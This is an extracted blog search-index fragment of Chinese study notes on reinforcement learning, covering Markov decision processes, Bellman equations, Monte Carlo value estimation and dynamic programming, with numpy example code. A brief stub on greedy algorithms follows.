$\\mathcal{V}=\\left[V\\left(s_1\\right), V\\left(s_2\\right), \\ldots, V\\left(s_n\\right)\\right]^T$ ,同理,将奖励函数写成一个列向量 $\\mathcal{R}=\\left[r\\left(s_1\\right), r\\left(s_2\\right), \\ldots, r\\left(s_n\\right)\\right]^T$ 。于是我们可以将贝尔曼方程写成矩阵的形式: $$ \\begin{gathered} \\mathcal{V}=\\mathcal{R}+\\gamma \\mathcal{P} \\mathcal{V} \\ {\\left[\\begin{array}{c} V\\left(s_1\\right) \\ V\\left(s_2\\right) \\ \\ldots \\ V\\left(s_n\\right) \\end{array}\\right]=\\left[\\begin{array}{c} r\\left(s_1\\right) \\ r\\left(s_2\\right) \\ \\ldots \\ r\\left(s_n\\right) \\end{array}\\right]+\\gamma\\left[\\begin{array}{cccc} P\\left(s_1 \\mid s_1\\right) \u0026amp; p\\left(s_2 \\mid s_1\\right) \u0026amp; \\ldots \u0026amp; P\\left(s_n \\mid s_1\\right) \\ P\\left(s_1 \\mid s_2\\right) \u0026amp; P\\left(s_2 \\mid s_2\\right) \u0026amp; \\ldots \u0026amp; P\\left(s_n \\mid s_2\\right) \\ \\ldots \u0026amp; \u0026amp; \u0026amp; \\ P\\left(s_1 \\mid s_n\\right) \u0026amp; P\\left(s_2 \\mid s_n\\right) \u0026amp; \\ldots \u0026amp; P\\left(s_n \\mid s_n\\right) \\end{array}\\right]\\left[\\begin{array}{c} V\\left(s_1\\right) \\ V\\left(s_2\\right) \\ \\ldots \\ V\\left(s_n\\right) \\end{array}\\right]} \\end{gathered} $$ 我们可以直接根据矩阵运算求解,得到以下解析解: $$ \\begin{aligned} \\mathcal{V} \u0026amp; =\\mathcal{R}+\\gamma \\mathcal{P} \\mathcal{V} \\ (I-\\gamma \\mathcal{P}) \\mathcal{V} \u0026amp; =\\mathcal{R} \\ \\mathcal{V} \u0026amp; =(I-\\gamma \\mathcal{P})^{-1} \\mathcal{R} \\end{aligned} $$\ndef compute_state_value(P,rewards,gamma,states_num): rewards=np.array(rewards).reshape((-1,1)) value=np.dot(np.linalg.inv(np.eye(states_num)-gamma*P),rewards) return value state_value=compute_state_value(P,rewards,gamma,6) print(state_value) 动作价值函数 我们用 $Q^\\pi(s, a)$ 表示在 MDP 遵循策略 $\\pi$ 时,对当前状态 $s$ 执行动作 $a$ 得到的期望回报: $$ Q^\\pi(s, a)=\\mathbb{E}\\pi\\left[G_t \\mid S_t=s, A_t=a\\right] $$ 状态价值函数和动作价值函数之间的关系:在使用策略 $\\pi$ 中,状态 $s$ 的价值等于在该状态下基于策略 $\\pi$ 采取所有动作的概率与相应的价值相乘 再求和的结果: $$ V^\\pi(s)=\\sum{a \\in A} \\pi(a \\mid s) Q^\\pi(s, a) $$ 使用策略 $\\pi$ 时,状态 $s$ 下采取动作 $a$ 的价值等于即时奖励加上经过衰减后的所有可能的下一个状态的状态转移概率与相应的价值的乘积: $$ Q^\\pi(s, a)=r(s, a)+\\gamma \\sum_{s^{\\prime} \\in S} P\\left(s^{\\prime} \\mid s, a\\right) V^\\pi\\left(s^{\\prime}\\right) $$\n贝尔曼期望方程 $$ \\begin{aligned} V^\\pi(s) \u0026amp; =\\mathbb{E}\\pi\\left[R_t+\\gamma V^\\pi\\left(S{t+1}\\right) \\mid S_t=s\\right] \\ \u0026amp; =\\sum_{a \\in A} \\pi(a \\mid s)\\left(r(s, a)+\\gamma \\sum_{s^{\\prime} \\in S} p\\left(s^{\\prime} \\mid s, a\\right) V^\\pi\\left(s^{\\prime}\\right)\\right) \\ \\end{aligned} $$\n$$ \\begin{aligned} Q^\\pi(s, a) \u0026amp; =\\mathbb{E}\\pi\\left[R_t+\\gamma Q^\\pi\\left(S{t+1}, A_{t+1}\\right) \\mid S_t=s, A_t=a\\right] \\ \u0026amp; =r(s, a)+\\gamma \\sum_{s^{\\prime} \\in S} p\\left(s^{\\prime} \\mid s, a\\right) \\sum_{a^{\\prime} \\in A} \\pi\\left(a^{\\prime} \\mid s^{\\prime}\\right) Q^\\pi\\left(s^{\\prime}, a^{\\prime}\\right) \\end{aligned} $$\nMDP $\\langle \\mathcal{S},\\mathcal{A},P,r,\\gamma \\rangle$\n$\\mathcal{S}$是状态集合\n$\\mathcal{A}$ 是动作的集合;\n$\\gamma$ 是折扣因子;\n$r(s, a)$ 是奖励函数,此时奖励可以同时取决于状态 $s$ 和动作 $a$ ,在奖励函数 只取决于状态 $s$ 时,则退化为 $r(s)$ ;\n$P\\left(s^{\\prime} \\mid s, a\\right)$ 是状态转移函数,表示在状态 $s$ 执行动作 $a$ 之后到达状态 $s^{\\prime}$ 的概 率。\n#mdp过程 state=[\u0026#39;s1\u0026#39;,\u0026#39;s2\u0026#39;,\u0026#39;s3\u0026#39;,\u0026#39;s4\u0026#39;,\u0026#39;s5\u0026#39;,\u0026#39;s6\u0026#39;] action=[\u0026#39;s1-\u0026gt;s1\u0026#39;,\u0026#39;s1-\u0026gt;s2\u0026#39;,\u0026#39;s2-\u0026gt;s1\u0026#39;,\u0026#39;s2-\u0026gt;s3\u0026#39;,\u0026#39;s3-\u0026gt;s4\u0026#39;,\u0026#39;s3-\u0026gt;s5\u0026#39;,\u0026#39;s4-\u0026gt;s5\u0026#39;,\u0026#39;s4-\u0026gt;s3\u0026#39;,\u0026#39;s4-\u0026gt;s4\u0026#39;,\u0026#39;s4-\u0026gt;s2\u0026#39;] #状态转移概率 P={ \u0026#39;s1-\u0026gt;s1\u0026#39;:1.0, \u0026#39;s1-\u0026gt;s2\u0026#39;:1.0, \u0026#39;s2-\u0026gt;s1\u0026#39;:1.0, \u0026#39;s2-\u0026gt;s3\u0026#39;:1.0, \u0026#39;s3-\u0026gt;s4\u0026#39;:1.0, \u0026#39;s3-\u0026gt;s5\u0026#39;:1.0, \u0026#39;s4-\u0026gt;s5\u0026#39;:1.0, \u0026#39;s4-\u0026gt;s3\u0026#39;:0.2, \u0026#39;s4-\u0026gt;s4\u0026#39;:0.4, \u0026#39;s4-\u0026gt;s2\u0026#39;:0.2, } #奖励函数 rewards={ \u0026#39;s1-\u0026gt;s1\u0026#39;:-1.0, \u0026#39;s1-\u0026gt;s2\u0026#39;:0, \u0026#39;s2-\u0026gt;s1\u0026#39;:-1.0, \u0026#39;s2-\u0026gt;s3\u0026#39;:-2.0, \u0026#39;s3-\u0026gt;s4\u0026#39;:-2.0, \u0026#39;s3-\u0026gt;s5\u0026#39;:0, \u0026#39;s4-\u0026gt;s5\u0026#39;:10, \u0026#39;s4-\u0026gt;s3\u0026#39;:1.0, \u0026#39;s4-\u0026gt;s4\u0026#39;:1.0, \u0026#39;s4-\u0026gt;s2\u0026#39;:1.0, } gamma=0.5 MDP=(state,action,P,rewards,gamma) #策略1 随机策略 Pi_1={ \u0026#39;s1-\u0026gt;s1\u0026#39;:0.5, \u0026#39;s1-\u0026gt;s2\u0026#39;:0.5, \u0026#39;s2-\u0026gt;s1\u0026#39;:0.5, \u0026#39;s2-\u0026gt;s3\u0026#39;:0.5, \u0026#39;s3-\u0026gt;s4\u0026#39;:0.5, \u0026#39;s3-\u0026gt;s5\u0026#39;:0.5, \u0026#39;s4-\u0026gt;s5\u0026#39;:0.5, \u0026#39;s4-s*\u0026#39;:0.5 } #策略2 Pi_2={ \u0026#39;s1-\u0026gt;s1\u0026#39;:0.6, \u0026#39;s1-\u0026gt;s2\u0026#39;:0.4, \u0026#39;s2-\u0026gt;s1\u0026#39;:0.3, \u0026#39;s2-\u0026gt;s3\u0026#39;:0.7, \u0026#39;s3-\u0026gt;s4\u0026#39;:0.5, \u0026#39;s3-\u0026gt;s5\u0026#39;:0.5, \u0026#39;s4-\u0026gt;s5\u0026#39;:0.1, \u0026#39;s4-\u0026gt;s*\u0026#39;:0.9 } 如何计算MDP下,一个策略$\\pi$的状态价值函数\nMDP-\u0026gt;MRP\n奖励函数 $$ r^\\prime(s)=\\sum_{a \\in \\mathcal{A}}\\pi(a \\mid s)r(s,a) $$\n状态转移 $$ P^\\prime(s^\\prime|s)=\\sum_{a \\in \\mathcal{A}}{\\pi(a \\mid s)P(s^\\prime \\mid s,a)} $$\nMonte Carlo $$ V^\\pi(s)=\\mathbb{E}\\pi\\left[G_t \\mid S_t=s\\right] \\approx \\frac{1}{N} \\sum{i=1}^N G_t^{(i)} $$\n步骤:\n使用策略 $\\pi$ 采样若干条序列: $$ s_0^{(i)} \\stackrel{a_0^{(i)}}{\\longrightarrow} r_0^{(i)}, s_1^{(i)} \\stackrel{a_1^{(i)}}{\\longrightarrow} r_1^{(i)}, s_2^{(i)} \\stackrel{a_2^{(i)}}{\\longrightarrow} \\cdots \\stackrel{a_{T-1}^{(i)}}{\\longrightarrow} r_{T-1}^{(i)}, s_T^{(i)} $$ 对每一条序列中的每一时间步 $t$ 的状态 $s$ 进行以下操作: 更新状态 $s$ 的计数器 $N(s) \\leftarrow N(s)+1$; 更新状态 $s$ 的总回报 $M(s) \\leftarrow M(s)+G_t$ ; 每一个状态的价值被估计为回报的平均值 $V(s)=M(s) / N(s)$ 。 根据大数定律,当 $N(s) \\rightarrow \\infty$ ,有 $V(s) \\rightarrow V^\\pi(s)$ 。计算回报的期望时,除了可以把所有的回报加起来除以次数,还有一种增量更新的方法。对于每个状态 $s$ 和对应回报$G$ ,进行如下计算: $N(s) \\leftarrow N(s)+1$ $V(s) \\leftarrow V(s)+\\frac{1}{N(s)}(G-V(S))$ import numpy as np S = [\u0026#34;s1\u0026#34;, \u0026#34;s2\u0026#34;, \u0026#34;s3\u0026#34;, \u0026#34;s4\u0026#34;, \u0026#34;s5\u0026#34;] # 状态集合 A = [\u0026#34;保持s1\u0026#34;, \u0026#34;前往s1\u0026#34;, \u0026#34;前往s2\u0026#34;, \u0026#34;前往s3\u0026#34;, \u0026#34;前往s4\u0026#34;, \u0026#34;前往s5\u0026#34;, \u0026#34;概率前往\u0026#34;] # 动作集合 # 状态转移函数 P = { \u0026#34;s1-保持s1-s1\u0026#34;: 1.0, \u0026#34;s1-前往s2-s2\u0026#34;: 1.0, \u0026#34;s2-前往s1-s1\u0026#34;: 1.0, \u0026#34;s2-前往s3-s3\u0026#34;: 1.0, \u0026#34;s3-前往s4-s4\u0026#34;: 1.0, \u0026#34;s3-前往s5-s5\u0026#34;: 1.0, \u0026#34;s4-前往s5-s5\u0026#34;: 1.0, \u0026#34;s4-概率前往-s2\u0026#34;: 0.2, \u0026#34;s4-概率前往-s3\u0026#34;: 0.4, \u0026#34;s4-概率前往-s4\u0026#34;: 0.4, } # 奖励函数 R = { \u0026#34;s1-保持s1\u0026#34;: -1, \u0026#34;s1-前往s2\u0026#34;: 0, \u0026#34;s2-前往s1\u0026#34;: -1, \u0026#34;s2-前往s3\u0026#34;: -2, \u0026#34;s3-前往s4\u0026#34;: -2, \u0026#34;s3-前往s5\u0026#34;: 0, \u0026#34;s4-前往s5\u0026#34;: 10, \u0026#34;s4-概率前往\u0026#34;: 1, } gamma = 0.5 # 折扣因子 MDP = (S, A, P, R, gamma) # 策略1,随机策略 Pi_1 = { \u0026#34;s1-保持s1\u0026#34;: 0.5, \u0026#34;s1-前往s2\u0026#34;: 0.5, \u0026#34;s2-前往s1\u0026#34;: 0.5, \u0026#34;s2-前往s3\u0026#34;: 0.5, \u0026#34;s3-前往s4\u0026#34;: 0.5, \u0026#34;s3-前往s5\u0026#34;: 0.5, \u0026#34;s4-前往s5\u0026#34;: 0.5, \u0026#34;s4-概率前往\u0026#34;: 0.5, } # 策略2 Pi_2 = { \u0026#34;s1-保持s1\u0026#34;: 0.6, \u0026#34;s1-前往s2\u0026#34;: 0.4, \u0026#34;s2-前往s1\u0026#34;: 0.3, \u0026#34;s2-前往s3\u0026#34;: 0.7, \u0026#34;s3-前往s4\u0026#34;: 0.5, \u0026#34;s3-前往s5\u0026#34;: 0.5, \u0026#34;s4-前往s5\u0026#34;: 0.1, \u0026#34;s4-概率前往\u0026#34;: 0.9, } # 把输入的两个字符串通过“-”连接,便于使用上述定义的P、R变量 def join(str1, str2): return str1 + \u0026#39;-\u0026#39; + str2 def sample(MDP, Pi, timestep_max, number): \u0026#39;\u0026#39;\u0026#39; 采样函数,策略Pi,限制最长时间步timestep_max,总共采样序列数number \u0026#39;\u0026#39;\u0026#39; S, A, P, R, gamma = MDP episodes = [] for _ in range(number): episode = [] timestep = 0 s = S[np.random.randint(4)] # 随机选择一个除s5以外的状态s作为起点 # 当前状态为终止状态或者时间步太长时,一次采样结束 while s != \u0026#34;s5\u0026#34; and timestep \u0026lt;= timestep_max: timestep += 1 rand, temp = np.random.rand(), 0 # 在状态s下根据策略选择动作 for a_opt in A: temp += Pi.get(join(s, a_opt), 0) if temp \u0026gt; rand: a = a_opt r = R.get(join(s, a), 0) break rand, temp = np.random.rand(), 0 # 根据状态转移概率得到下一个状态s_next for s_opt in S: temp += P.get(join(join(s, a), s_opt), 0) if temp \u0026gt; rand: s_next = s_opt break episode.append((s, a, r, s_next)) # 把(s,a,r,s_next)元组放入序列中 s = s_next # s_next变成当前状态,开始接下来的循环 episodes.append(episode) return episodes # # 采样5次,每个序列最长不超过20步 # episodes = sample(MDP, Pi_1, 20, 5)#策略为Pi_1 # 对所有采样序列计算所有状态的价值 def MC(episodes, V, N, gamma): for episode in episodes: G = 0 for i in range(len(episode) - 1, -1, -1): #一个序列从后往前计算 (s, a, r, s_next) = episode[i] G = r + gamma * G N[s] = N[s] + 1 V[s] = V[s] + (G - V[s]) / N[s] timestep_max = 20 # 采样1000次,可以自行修改 episodes = sample(MDP, Pi_1, timestep_max, 1000) gamma = 0.5 V = {\u0026#34;s1\u0026#34;: 0, \u0026#34;s2\u0026#34;: 0, \u0026#34;s3\u0026#34;: 0, \u0026#34;s4\u0026#34;: 0, \u0026#34;s5\u0026#34;: 0} N = {\u0026#34;s1\u0026#34;: 0, \u0026#34;s2\u0026#34;: 0, \u0026#34;s3\u0026#34;: 0, \u0026#34;s4\u0026#34;: 0, \u0026#34;s5\u0026#34;: 0} MC(episodes, V, N, gamma) print(\u0026#34;使用蒙特卡洛方法计算MDP的状态价值为\\n\u0026#34;, V) 最优策略 对于任意的状态 $s$ 都有 $V^\\pi(s) \\geq V^{\\pi^{\\prime}}(s)$ ,记 $\\pi\u0026gt;\\pi^{\\prime}$ 。\n于是在有限状态 和动作集合的 MDP 中,至少存在一个策略比其他所有策略都好或者 至少存在一个策略不差于其他所有策略,这个策略就是最优策略 (optimal policy) 。最优策略可能有很多个,我们都将其表示为 $\\pi^(s)$ 最优策略都有相同的状态价值函数,我们称之为最优状态价值函数, 表示为: $$ V^(s)=\\max \\pi V^\\pi(s), \\quad \\forall s \\in \\mathcal{S} $$ 同理,我们定义最优动作价值函数: $$ Q^(s, a)=\\max _\\pi Q^\\pi(s, a), \\quad \\forall s \\in \\mathcal{S}, a \\in \\mathcal{A} $$ 最优状态价值函数和最优动作价值函数之间的关系: $$ Q^(s, a)=r(s,a)+\\gamma\\sum{s^\\prime \\in S}P(s^\\prime \\mid s,a)V^(s^\\prime) $$ 最优状态价值是选择此时使最优动作价值最大的那一个动作时的状态价值 $$ V^(s)=\\max_{a \\in \\mathcal{A}}Q^*(s,a) $$\nBellman最优方程 根据 $V^(s)$ 和 $Q^(s, a)$ 的关系,我们可以得到贝尔曼最优方程 (Bellman optimality equation) : $$ \\begin{gathered} V^(s)=\\max {a \\in \\mathcal{A}}\\left{r(s, a)+\\gamma \\sum{s^{\\prime} \\in \\mathcal{S}} p\\left(s^{\\prime} \\mid s, a\\right) V^\\left(s^{\\prime}\\right)\\right} \\ Q^(s, a)=r(s, a)+\\gamma \\sum_{s^{\\prime} \\in \\mathcal{S}} p\\left(s^{\\prime} \\mid s, a\\right) \\max _{a^{\\prime} \\in \\mathcal{A}} Q^\\left(s^{\\prime}, a^{\\prime}\\right) \\end{gathered} $$\nDP优化 基于动态规划的强化学习算法主要有两种一是策略迭代,二是价值迭代\n策略迭代:策略评估(使用贝尔曼期望方程-\u0026gt;策略的状态价值函数)+策略提升\n策略迭代算法 $$ \\begin{aligned} V^\\pi(s) \u0026amp; =\\mathbb{E}\\pi\\left[R_t+\\gamma V^\\pi\\left(S{t+1}\\right) \\mid S_t=s\\right] \\ \u0026amp; =\\sum_{a \\in A} \\pi(a \\mid s)\\left(r(s, a)+\\gamma \\sum_{s^{\\prime} \\in S} p\\left(s^{\\prime} \\mid s, a\\right) V^\\pi\\left(s^{\\prime}\\right)\\right) \\ \\end{aligned} $$\nDQN DDPG 参考文献 https://www.jianshu.com/p/1765772c8444\n","permalink":"https://niceasiv.cn/posts/reinforment_learning/","summary":"基础 马尔科夫决策(MDP) 在随机过程中某时刻$t$的状态用$S_t$表示,所以可能的状态组成了状态空间$S$。\n如果已知历史的状态信息即$(S_1,\u0026hellip;,S_t)$,那么下一个时刻状态为$S_{t+1}$的概率为$P(S_{t+1}\\mid S_1,\u0026hellip;,S_t)$\n当且仅当某时刻的状态只取决于上一时刻的状态时,一个随机过程被称为具有马尔可夫性质\n$$ P(S_{t+1}\\mid S_t)=P(S_{t+1}\\mid S_1,\u0026hellip;,S_t) $$ 也就是说当前状态是未来的充分统计量,即下一个状态只取决于当前状态,而不会受到过去状态的影响。\n注意:\n虽然$t+1$时刻的状态只与$t$时刻的状态有关,但是$t$时刻的状态其实包含了$t-1$时刻的状态的信息,通过这种链式的关系,历史的信息被传递到了现在。\nMarkov process 通常用两元组$\u0026lt;S,P\u0026gt;$描述一个马尔科夫过程,其中$S$是有限状态集合,$P$是状态转移矩阵\n矩阵$P$中第$i$行第$j$列$P(s_j|s_i)$表示状态$s_i$转移到状态$s_j$的概率,从某个状态出发,到达其他状态的概率和必须为1,即状态转移矩阵的每一行的和为1。\n给定一个马尔可夫过程,我们就可以从某个状态出发,根据它的状态转移矩阵生成一个状态序列(episode),这个步骤也被叫做采样(sampling)。\nMarkov reward process(MRP) 一个马尔科夫奖励过程由$\\langle \\mathcal{S},\\mathcal{P},r,\\gamma \\rangle$\n$\\mathcal{S}$ 是有限状态的集合。 $\\mathcal{P}$ 是状态转移矩阵。 $r$是奖励函数,某个状态$s$的奖励$r(s)$指转移到该状态时可以获得奖励的期望。 $\\gamma$ 是折扣因子,$\\gamma$的取值为$[0,1)$ 。引入折扣因子的理由为远期利益具有一定不确定性,有时我们更希望能够尽快获得一些奖励,所以我们需要对远期利益打一些折扣。接近 1 的 $\\gamma$ 更关注长期的累计奖励,接近0的$\\gamma$ 更考虑短期奖励。 奖励函数的本质:向智能体传达目标(MDP) 强化学习的标准交互过程如下:每个时刻,智能体根据根据其 策略(policy),在当前所处 状态(state) 选择一个 动作(action),环境(environment) 对这些动作做出相应的相应的响应,转移到新状态,同时产生一个 奖励信号 (reward),这通常是一个数值,奖励的折扣累加和称为 收益/回报 (return),是智能体在动作选择过程中想要最大化的目标\n“奖励 \u0026amp; 收益” 其实是智能体目标的一种形式化、数值化的表征。可以把这种想法非正式地表述为 “收益假设” 收益是通过奖励信号计算的,而奖励函数是我们提供的,奖励函数起到了人与算法沟通的桥梁作用 需要注意的是,智能体只会学习如何最大化收益,如果想让它完成某些指定任务,就必须保证我们设计的奖励函数可以使得智能体最大化收益的同时也能实现我们的目标 回报 在一个马尔可夫奖励过程中,从第$t$时刻状态$S_t$开始,直到终止状态时,所有奖励的衰减之和称为回报(Return)\n假设设置$\\gamma =0.5$\n$$ G_t=R_t+\\gamma R_{t+1}+\\gamma^2 R_{t+2}+\\cdots=\\sum_{k=0}^{\\infty} \\gamma^k R_{t+k} $$ 假设路径为1,2,3,6\nimport numpy as np np.random.seed(0) #概率转移矩阵 P=[ [0.9,0.1,0.0,0.0,0.0,0.0], [0.5,0.0,0.5,0.0,0.0,0.0], [0.0,0.0,0.0,0.6,0.0,0.4], [0.0,0.0,0.0,0.0,0.3,0.7], [0.0,0.2,0.3,0.5,0.0,0.0], [0.0,0.0,0.0,0.6,0.0,1.0], ] P=np.array(P) rewards=[-1,-2,-2,10,1,0] gamma=0.5 def compute_chain_reward(start_index,chain,gamma): reward=0 for i in range(len(chain)): reward=gamma*reward+rewards[chain[i]-1] return reward chain=[1,2,3,6] start_index=0 reward=compute_chain_reward(start_index,chain,gamma) print(reward) 状态价值函数 一个状态的期望回报(即从这个状态出发的未来累积奖励的期望)-\u0026gt;价值\n即其状态价值函数$V_{\\pi}(s)$就等于转移到每个通路上的概率(由策略决定)乘以每条路上得到的回报即\n$V(s)=\\mathbb{E}\\left[G_t \\mid S_t=s\\right]$\n展开为: $$ \\begin{align} V(s) \u0026amp;=\\mathbb{E}[G_t \\mid S_t=s] \\ \u0026amp;=\\mathbb{E}[R_t+\\gamma R_{t+1}+\\gamma^2 R_{t+2}+\u0026hellip;\\mid S_t=s]\\ \u0026amp;=\\mathbb{E}[R_t+\\gamma(R_{t+1}+\\gamma R_{t+2})+\u0026hellip; \\mid S_t=s]\\ \u0026amp;=\\mathbb{E}[R_t+\\gamma G_{t+1}\\mid S_t=s]\\ \u0026amp;=\\mathbb{E}[R_t+\\gamma V(S_{t+1})\\mid S_t=s]\\ \\end{align} $$ 一方面,即时奖励的期望正是奖励函数的输出,即:\n$\\mathbb{E}\\left[R_t \\mid S_t=s\\right]=r(s)$\n另一方面,等式中剩余部分 $\\mathbb{E}\\left[\\gamma V\\left(S_{t+1}\\right) \\mid S_t=s\\right]$ 可以根据从状态$s$出发的转移概率得到,即可以得到 $$ V(s)=r(s)+\\gamma\\sum_{s^{\\prime} \\in S }{p(s^{\\prime} \\mid s)V(s^\\prime)} $$ 上式就是马尔可夫奖励过程中非常有名的贝尔曼方程 (Bellman equation),对每一个状态都成立。","title":"强化学习笔记"},{"content":"程序设计 贪心算法 贪心算法采用贪心的策略,保证每次操作都是局部最优的,从而使最后的结果是全局最优的。\n参考 1.changgyhub/leetcode_101: LeetCode 101:和你一起你轻松刷题(C++) (github.com)\n","permalink":"https://niceasiv.cn/posts/algorithm_basis/","summary":"程序设计 贪心算法 贪心算法采用贪心的策略,保证每次操作都是局部最优的,从而使最后的结果是全局最优的。\n参考 1.changgyhub/leetcode_101: LeetCode 101:和你一起你轻松刷题(C++) (github.com)","title":"算法与程序设计基础\u0026\u0026CSP入门学习"}]